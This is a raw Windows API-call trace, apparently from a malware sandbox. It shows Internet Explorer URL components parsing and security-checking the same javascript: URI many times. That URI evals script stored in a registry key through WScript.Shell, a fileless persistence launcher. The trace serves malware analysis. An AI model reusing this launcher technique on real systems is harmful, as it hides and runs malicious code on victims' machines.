[0252.266] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x94) returned 0x4733c10 [0252.266] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.266] VirtualAlloc (lpAddress=0x11b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11b4000 [0252.267] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0252.267] GetKeyboardLayoutNameW (in: pwszKLID=0x3df430 | out: pwszKLID="00000409") returned 1 [0252.268] CreateUri (in: pwzURI="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", dwFlags=0x3022b05, dwReserved=0x0, ppURI=0x3df47c | out: ppURI=0x3df47c*=0x92711c) returned 0x0 [0252.268] CreateIUriBuilder (in: pIUri=0x92711c, dwFlags=0x0, dwReserved=0x0, ppIUriBuilder=0x3df478 | out: ppIUriBuilder=0x3df478*=0x9275f0) returned 0x0 [0252.268] IUriBuilder:RemoveProperties (This=0x9275f0, dwPropertyMask=0x2020) returned 0x0 [0252.268] IUnknown:Release (This=0x92711c) returned 0x3 [0252.268] IUriBuilder:CreateUriSimple (in: This=0x9275f0, dwAllowEncodingPropertyMask=0x0, dwReserved=0x0, ppIUri=0x3df47c | out: ppIUri=0x3df47c*=0x92711c) returned 0x0 [0252.268] IUri:GetPropertyBSTR (in: This=0x92711c, uriProp=0x0, pbstrProperty=0x3df498, dwFlags=0x2 | out: pbstrProperty=0x3df498*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x0 [0252.269] IUnknown:Release (This=0x92711c) returned 0x3 [0252.269] IUnknown:Release (This=0x9275f0) returned 0x0 [0252.269] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xce) returned 0x91c088 [0252.269] ParseURLW (in: pcszURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ppu=0x3df468 | out: ppu=0x3df468) returned 0x0 [0252.269] CreateUri (in: pwzURI="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0x3df448 | out: ppURI=0x3df448*=0x9116a4) returned 0x0 [0252.269] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0252.269] IUnknown:AddRef (This=0x9116a4) returned 0x7 [0252.269] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.269] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pdwZone=0x3df3fc, dwFlags=0x0 | out: pdwZone=0x3df3fc*=0xffffffff) returned 0x800c0011 [0252.269] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dec60 | out: ppv=0x3dec60*=0x7376b5fc) returned 0x0 [0252.270] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3deccc | out: ppvObject=0x3deccc*=0x7376b608) returned 0x0 [0252.270] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.270] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=3, dwParseFlags=0x0, pwzResult=0x91bfb0, cchResult=0x65, pcchResult=0x3decc4, dwReserved=0x0 | out: pwzResult="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pcchResult=0x3decc4*=0x65) returned 0x0 [0252.270] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xce) returned 0x91cb80 [0252.270] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x91cb80 | out: hHeap=0x8f0000) returned 1 [0252.270] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.270] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3de7d8 | out: ppv=0x3de7d8*=0x7376b5fc) returned 0x0 [0252.270] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3decd0 | out: ppvObject=0x3decd0*=0x7376b608) returned 0x0 [0252.270] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.270] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=17, dwParseFlags=0x0, pwzResult=0x91c310, cchResult=0x65, pcchResult=0x3deccc, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3deccc*=0x0) returned 0x800c0011 [0252.270] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.270] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0252.270] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.270] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x918ee0, pUri=0x9116a4, dwAction=0x2700, pPolicy=0x3df400, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x3df3e0 | out: pPolicy=0x3df400*=0x0, pdwOutFlags=0x3df3e0*=0x0) returned 0x0 [0252.270] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", dwAction=0x2700, pPolicy=0x3df400, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x3df400*=0x0) returned 0x0 [0252.271] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.271] IUnknown:Release (This=0x9116a4) returned 0x7 [0252.271] IUnknown:Release (This=0x9116a4) returned 0x6 [0252.271] IUnknown:AddRef (This=0x9116a4) returned 0x7 [0252.271] IUri:GetPropertyDWORD (in: This=0x9116a4, uriProp=0x11, pdwProperty=0x3df1f4, dwFlags=0x0 | out: pdwProperty=0x3df1f4*=0xf) returned 0x0 [0252.271] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0252.271] IUnknown:QueryInterface (in: This=0x7387f4d4, riid=0x7410a5cc*(Data1=0xc90db44a, Data2=0x1902, Data3=0x451e, Data4=([0]=0xbd, [1]=0xf0, [2]=0x5c, [3]=0x89, [4]=0x66, [5]=0xb, [6]=0x52, [7]=0x8c)), ppvObject=0x3df14c | out: ppvObject=0x3df14c*=0x0) returned 0x80004002 [0252.271] IInternetSecurityManager:GetSecurityId (in: This=0x7387f4d4, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pbSecurityId=0x3df288, pcbSecurityId=0x3df280*=0x200, dwReserved=0x0 | out: pbSecurityId=0x3df288*=0x0, pcbSecurityId=0x3df280*=0x200) returned 0x800c0011 [0252.271] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.271] IUnknown:Release (This=0x9116a4) returned 0x6 [0252.271] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x69) returned 0x9272b0 [0252.271] memcpy_s (in: _Destination=0x9272b0, _DestinationSize=0x69, _Source=0x3df288, _SourceSize=0x69 | out: _Destination=0x9272b0) returned 0x0 [0252.271] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xce) returned 0x91bfb0 [0252.271] IUri:GetPropertyBSTR (in: This=0x9116a4, uriProp=0x3, pbstrProperty=0x3df68c, dwFlags=0x2 | out: pbstrProperty=0x3df68c*="") returned 0x1 [0252.271] IUri:GetPropertyBSTR (in: This=0x9116a4, uriProp=0x6, pbstrProperty=0x3df68c, dwFlags=0x2 | out: pbstrProperty=0x3df68c*="") returned 0x1 [0252.271] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x3df674, dwReserved=0x0 | out: ppIInternetSession=0x3df674*=0x9118f8) returned 0x0 [0252.272] IInternetSession:RegisterNameSpace (This=0x9118f8, pCF=0x7376ba70, rclsid=0x7287d12c, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0252.272] IUnknown:AddRef (This=0x7376ba70) returned 0x1 [0252.272] IInternetSession:RegisterNameSpace (This=0x9118f8, pCF=0x7376ba90, rclsid=0x7287d14c, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0252.272] IUnknown:AddRef (This=0x7376ba90) returned 0x1 [0252.272] IInternetSession:RegisterNameSpace (This=0x9118f8, pCF=0x7376c164, rclsid=0x7287d13c, pwzProtocol="blob", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0252.272] IUnknown:AddRef (This=0x7376c164) returned 0x1 [0252.272] UrlCanonicalizeW (in: pszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pszCanonicalized=0x3de674, pcchCanonicalized=0x3de670, dwFlags=0x10000000 | out: pszCanonicalized="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pcchCanonicalized=0x3de670) returned 0x0 [0252.272] StrCmpICW (pszStr1="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pszStr2="res://ieframe.dll/PhishSite.htm") returned -8 [0252.272] StrCmpNIW (lpStr1="javasc", lpStr2="res://", nChar=6) returned -1 [0252.272] UrlCanonicalizeW (in: pszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pszCanonicalized=0x3de674, pcchCanonicalized=0x3de670, dwFlags=0x10000000 | out: pszCanonicalized="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pcchCanonicalized=0x3de670) returned 0x0 [0252.272] StrCmpNIW (lpStr1="javascript:eva", lpStr2="ms-appx-web://", nChar=14) returned -1 [0252.272] StrCmpNIW (lpStr1="javasc", lpStr2="res://", nChar=6) returned -1 [0252.272] LoadLibraryExW (lpLibFileName="urlmon.dll", hFile=0x0, dwFlags=0x0) returned 0x74100000 [0252.273] GetProcAddress (hModule=0x74100000, lpProcName=0x1d7) returned 0x741845d0 [0252.273] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df5c8 | out: ppvObject=0x3df5c8*=0x9156bc) returned 0x0 [0252.273] IUnknown:Release (This=0x9156bc) returned 0xa [0252.273] IUnknown:AddRef (This=0x9156bc) returned 0xb [0252.273] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x90) returned 0x4733cb0 [0252.273] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.273] VirtualAlloc (lpAddress=0x11b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11b6000 [0252.274] IUnknown:AddRef (This=0x9156bc) returned 0xc [0252.274] IUri:GetSchemeName (in: This=0x9156bc, pbstrSchemeName=0x3df58c | out: pbstrSchemeName=0x3df58c*="javascript") returned 0x0 [0252.274] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df518 | out: ppvObject=0x3df518*=0x9156bc) returned 0x0 [0252.274] IUnknown:Release (This=0x9156bc) returned 0xc [0252.274] IUnknown:AddRef (This=0x9156bc) returned 0xd [0252.274] IUnknown:Release (This=0x9156bc) returned 0xc [0252.274] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df578 | out: ppvObject=0x3df578*=0x9156bc) returned 0x0 [0252.274] IUnknown:Release (This=0x9156bc) returned 0xc [0252.274] IUnknown:AddRef (This=0x9156bc) returned 0xd [0252.274] IUnknown:Release (This=0x9156bc) returned 0xc [0252.275] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xa4) returned 0x4733d48 [0252.275] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.275] VirtualAlloc (lpAddress=0x11b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11b8000 [0252.275] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df644 | out: pdwScheme=0x3df644*=0xf) returned 0x0 [0252.275] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df630 | out: ppvObject=0x3df630*=0x9156bc) returned 0x0 [0252.276] IUnknown:Release (This=0x9156bc) returned 0xc [0252.276] IUnknown:AddRef (This=0x9156bc) returned 0xd [0252.276] IUnknown:Release (This=0x9156bc) returned 0xc [0252.276] IUri:IsEqual (in: This=0x9116a4, pUri=0x9156bc, pfEqual=0x3df694 | out: pfEqual=0x3df694*=1) returned 0x0 [0252.276] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x12) returned 0x90a7f8 [0252.276] LoadLibraryExW (lpLibFileName="WLDP.DLL", hFile=0x0, dwFlags=0x800) returned 0x723e0000 [0252.281] GetProcAddress (hModule=0x723e0000, lpProcName="WldpGetLockdownPolicy") returned 0x723e3c20 [0252.281] WldpGetLockdownPolicy () returned 0x10000000 [0252.282] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xac) returned 0x4733df8 [0252.282] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.282] VirtualAlloc (lpAddress=0x11ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11ba000 [0252.282] PostMessageW (hWnd=0x9002e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0252.282] IUnknown:AddRef (This=0x9118f8) returned 0x3 [0252.283] IUnknown:AddRef (This=0x9156bc) returned 0xd [0252.283] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df5bc | out: ppvObject=0x3df5bc*=0x9156bc) returned 0x0 [0252.283] IUnknown:Release (This=0x9156bc) returned 0xd [0252.283] IUnknown:AddRef (This=0x9156bc) returned 0xe [0252.283] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x20) returned 0x9268e8 [0252.283] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x3df28c, dwReserved=0x0 | out: ppSM=0x3df28c*=0x9182e0) returned 0x0 [0252.283] IUnknown:QueryInterface (in: This=0x9182e0, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x3df290 | out: ppvObject=0x3df290*=0x9182e0) returned 0x0 [0252.283] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x14) returned 0x90a838 [0252.284] IInternetSecurityManager:SetSecuritySite (This=0x9182e0, pSite=0x90a83c) returned 0x0 [0252.284] IUnknown:AddRef (This=0x90a83c) returned 0x2 [0252.284] IUnknown:QueryInterface (in: This=0x90a83c, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3df264 | out: ppvObject=0x3df264*=0x90a838) returned 0x0 [0252.284] IServiceProvider:QueryService (in: This=0x90a838, guidService=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0x918314 | out: ppvObject=0x918314*=0x0) returned 0x80004002 [0252.284] IServiceProvider:QueryService (in: This=0x90a838, guidService=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x918310 | out: ppvObject=0x918310*=0x90a840) returned 0x0 [0252.284] IUnknown:Release (This=0x90a838) returned 0x3 [0252.284] IUnknown:AddRef (This=0x9182e0) returned 0x3 [0252.284] IUnknown:Release (This=0x9182e0) returned 0x2 [0252.284] IUnknown:Release (This=0x9182e0) returned 0x1 [0252.284] ParseURLW (in: pcszURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ppu=0x3df258 | out: ppu=0x3df258) returned 0x0 [0252.284] CreateUri (in: pwzURI="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x3df2dc | out: ppURI=0x3df2dc*=0x9116a4) returned 0x0 [0252.284] IUnknown:AddRef (This=0x9116a4) returned 0x8 [0252.284] IUnknown:QueryInterface (in: This=0x9116a4, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df268 | out: ppvObject=0x3df268*=0x9116a4) returned 0x0 [0252.284] IUnknown:Release (This=0x9116a4) returned 0x8 [0252.284] IUnknown:AddRef (This=0x9116a4) returned 0x9 [0252.284] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df280 | out: ppvObject=0x3df280*=0x9156bc) returned 0x0 [0252.285] IUnknown:Release (This=0x9156bc) returned 0xe [0252.285] IUnknown:AddRef (This=0x9156bc) returned 0xf [0252.285] QueryPerformanceCounter (in: lpPerformanceCount=0x3df218 | out: lpPerformanceCount=0x3df218*=25558744524) returned 1 [0252.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3df220 | out: lpSystemTimeAsFileTime=0x3df220*(dwLowDateTime=0xb10731d8, dwHighDateTime=0x1d4f110)) [0252.285] QueryPerformanceCounter (in: lpPerformanceCount=0x3df278 | out: lpPerformanceCount=0x3df278*=25558754851) returned 1 [0252.285] IUnknown:AddRef (This=0x9156bc) returned 0x10 [0252.285] IUnknown:AddRef (This=0x9156bc) returned 0x11 [0252.285] IUnknown:AddRef (This=0x9156bc) returned 0x12 [0252.285] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df264 | out: ppvObject=0x3df264*=0x9156bc) returned 0x0 [0252.285] IUnknown:Release (This=0x9156bc) returned 0x12 [0252.285] IUnknown:AddRef (This=0x9156bc) returned 0x13 [0252.285] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x11a0d98 | out: pdwScheme=0x11a0d98*=0xf) returned 0x0 [0252.285] IMoniker:IsSystemMoniker (in: This=0x8fd120, pdwMksys=0x3df2b0 | out: pdwMksys=0x3df2b0*=0x6) returned 0x0 [0252.286] IUri:GetSchemeName (in: This=0x9156bc, pbstrSchemeName=0x3df254 | out: pbstrSchemeName=0x3df254*="javascript") returned 0x0 [0252.286] _wcsnicmp (_String1="javas", _String2="data", _MaxCount=0x5) returned 6 [0252.286] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df294 | out: pdwScheme=0x3df294*=0xf) returned 0x0 [0252.286] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df240 | out: ppvObject=0x3df240*=0x9156bc) returned 0x0 [0252.286] IUnknown:Release (This=0x9156bc) returned 0x13 [0252.286] IUnknown:AddRef (This=0x9156bc) returned 0x14 [0252.286] CoInternetQueryInfo (in: pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", QueryOptions=0xd, dwQueryFlags=0x0, pvBuffer=0x3df290, cbBuffer=0x4, pcbBuffer=0x3df288, dwReserved=0x0 | out: pvBuffer=0x3df290*, pcbBuffer=0x3df288*=0x4) returned 0x0 [0252.286] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ded48 | out: ppv=0x3ded48*=0x7376b5fc) returned 0x0 [0252.286] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3df234 | out: ppvObject=0x3df234*=0x7376b608) returned 0x0 [0252.286] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.286] IInternetProtocolInfo:QueryInfo (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", OueryOption=13, dwQueryFlags=0x0, pBuffer=0x3df290, cbBuffer=0x4, pcbBuf=0x3df288*=0x3df2a0, dwReserved=0x0 | out: pBuffer=0x3df290, pcbBuf=0x3df288*=0x4) returned 0x0 [0252.286] CoInternetParseUrl (in: pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=0x13, dwFlags=0x0, pszResult=0x3dd1d0, cchResult=0x1000, pcchResult=0x3dd1cc, dwReserved=0x0 | out: pszResult="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pcchResult=0x3dd1cc) returned 0x0 [0252.287] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dccac | out: ppv=0x3dccac*=0x7376b5fc) returned 0x0 [0252.287] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3dd190 | out: ppvObject=0x3dd190*=0x7376b608) returned 0x0 [0252.287] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.287] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=19, dwParseFlags=0x0, pwzResult=0x3dd1d0, cchResult=0x1000, pcchResult=0x3dd1cc, dwReserved=0x0 | out: pwzResult="neNote", pcchResult=0x3dd1cc*=0x4f0020) returned 0x800c0011 [0252.287] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.287] ParseURLW (in: pcszURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ppu=0x3dd1a4 | out: ppu=0x3dd1a4) returned 0x0 [0252.287] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.287] IUnknown:Release (This=0x9156bc) returned 0x13 [0252.287] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df294 | out: pdwScheme=0x3df294*=0xf) returned 0x0 [0252.287] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df280 | out: ppvObject=0x3df280*=0x9156bc) returned 0x0 [0252.287] IUnknown:Release (This=0x9156bc) returned 0x13 [0252.287] IUnknown:AddRef (This=0x9156bc) returned 0x14 [0252.287] GetCurrentThreadId () returned 0x15c [0252.287] CreateBindCtx (in: reserved=0x0, ppbc=0x3df2d4 | out: ppbc=0x3df2d4*=0x909750) returned 0x0 [0252.288] IUnknown:AddRef (This=0x909750) returned 0x2 [0252.288] IUnknown:AddRef (This=0x909750) returned 0x3 [0252.288] IUnknown:Release (This=0x909750) returned 0x2 [0252.288] IUnknown:Release (This=0x909750) returned 0x1 [0252.288] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xce) returned 0x91d318 [0252.288] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x9c) returned 0x927db0 [0252.288] IUnknown:AddRef (This=0x9182e0) returned 0x2 [0252.288] SHStrDupW (in: psz="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ppwsz=0x927e28 | out: ppwsz=0x927e28*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x0 [0252.292] GetCurrentProcess () returned 0xffffffff [0252.292] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3df1f0 | out: TokenHandle=0x3df1f0*=0x1cc) returned 1 [0252.292] 